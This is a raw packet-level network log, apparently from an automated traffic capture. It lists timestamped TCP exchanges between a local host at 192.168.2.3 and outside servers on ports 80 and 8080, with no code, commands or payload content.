Jan 14, 2022 02:04:28.525331020 CET	80	49776	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.525424957 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.525609016 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.534137011 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.575812101 CET	80	49776	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.596872091 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.596968889 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.597321987 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.659894943 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662770987 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662796974 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662820101 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662839890 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662859917 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662882090 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662888050 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.662906885 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662930012 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662949085 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662954092 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.662971973 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.662980080 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.663007975 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.725438118 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.725466013 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.725492954 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.725513935 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.725538015 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.725580931 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.725950956 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.725976944 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.725997925 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726017952 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726036072 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.726038933 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726062059 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726066113 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.726083040 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726102114 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726125002 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.726157904 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.726207972 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726286888 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726310015 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726330042 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726331949 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.726352930 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726372957 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.726411104 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726453066 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726489067 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.726494074 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.726547956 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788047075 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788074970 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788101912 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788122892 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788142920 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788146973 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788165092 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788193941 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788216114 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788244009 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788266897 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788312912 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788475990 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788500071 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788521051 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788539886 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788548946 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788559914 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788578033 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788580894 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788629055 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788712978 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788733959 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788753986 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788774967 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788786888 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788809061 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788829088 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788850069 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788850069 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788873911 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788888931 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788896084 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788913012 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788918018 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788954020 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788963079 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.788976908 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.788996935 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789016962 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789026976 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.789063931 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.789253950 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789307117 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789326906 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789350986 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.789489985 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789513111 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789531946 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789551973 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789570093 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.789611101 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.789740086 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789762974 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789812088 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.789834976 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789865017 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.789912939 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.790983915 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.791043043 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.850704908 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.850740910 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.850759983 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.850780964 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.850832939 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.850883961 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.850913048 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.850934029 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.850955009 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.850963116 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.850975990 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851001024 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851015091 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851022005 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851042986 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851053953 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851064920 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851083994 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851092100 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851125002 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851233006 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851255894 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851275921 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851294041 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851346970 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851367950 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851392031 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851413012 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851432085 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851444960 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851485968 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851511002 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851535082 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851553917 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851572990 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851629972 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851679087 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851700068 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851718903 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851737976 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851763010 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851799965 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851859093 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851878881 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851900101 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851919889 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851919889 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851955891 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851963997 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.851979017 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.851998091 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852016926 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852035999 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.852087021 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.852099895 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852121115 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852140903 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852161884 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852169991 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.852195978 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.852308989 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852332115 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852351904 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852370977 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.852380991 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.852420092 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.853497982 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.853528976 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.853585005 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.913686037 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913722038 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913743019 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913763046 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913781881 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913800955 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913820028 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913827896 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.913841009 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913876057 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913877010 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.913882017 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.913902044 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913922071 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913944006 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913952112 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.913966894 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913988113 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.913989067 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914009094 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914028883 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914028883 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914052010 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914069891 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914072990 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914091110 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914109945 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914117098 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914155006 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914195061 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914216995 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914237976 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914258003 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914263010 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914280891 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914299965 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914302111 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914320946 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914340019 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914360046 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914361000 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914381027 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914398909 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914401054 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914422035 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914423943 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914443016 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914463043 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914463997 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914484978 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914505005 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914505959 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914527893 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914547920 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914556026 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914567947 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914587975 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914587975 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914630890 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914745092 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914767027 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914788961 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914809942 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914813995 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914832115 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914853096 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.914870024 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.914902925 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.976655006 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976682901 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976711988 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976731062 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976751089 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976773024 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976773977 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.976793051 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976814032 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976833105 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976834059 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.976855040 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976861000 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.976877928 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976927042 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.976934910 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976958036 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976978064 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.976998091 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977000952 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977018118 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977035999 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977040052 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977060080 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977061987 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977083921 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977097988 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977103949 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977124929 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977144003 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977160931 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977164984 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977185965 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977195024 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977205992 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977225065 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977231979 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977245092 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977262974 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977272987 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977281094 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977302074 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977389097 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977411032 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977431059 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977449894 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977452040 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977471113 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977489948 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977490902 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977515936 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977569103 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977591038 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977610111 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977612019 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977633953 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977654934 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977674961 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977688074 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977698088 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977716923 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977737904 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977761030 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977783918 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.977804899 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977904081 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977924109 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.977972984 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:28.978066921 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:28.978157043 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.039779902 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039815903 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039835930 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039855003 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039875031 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039894104 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039913893 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039932966 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039952993 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039972067 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.039992094 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040010929 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040019035 CET	49777	8080	192.168.2.3	185.7.214.171
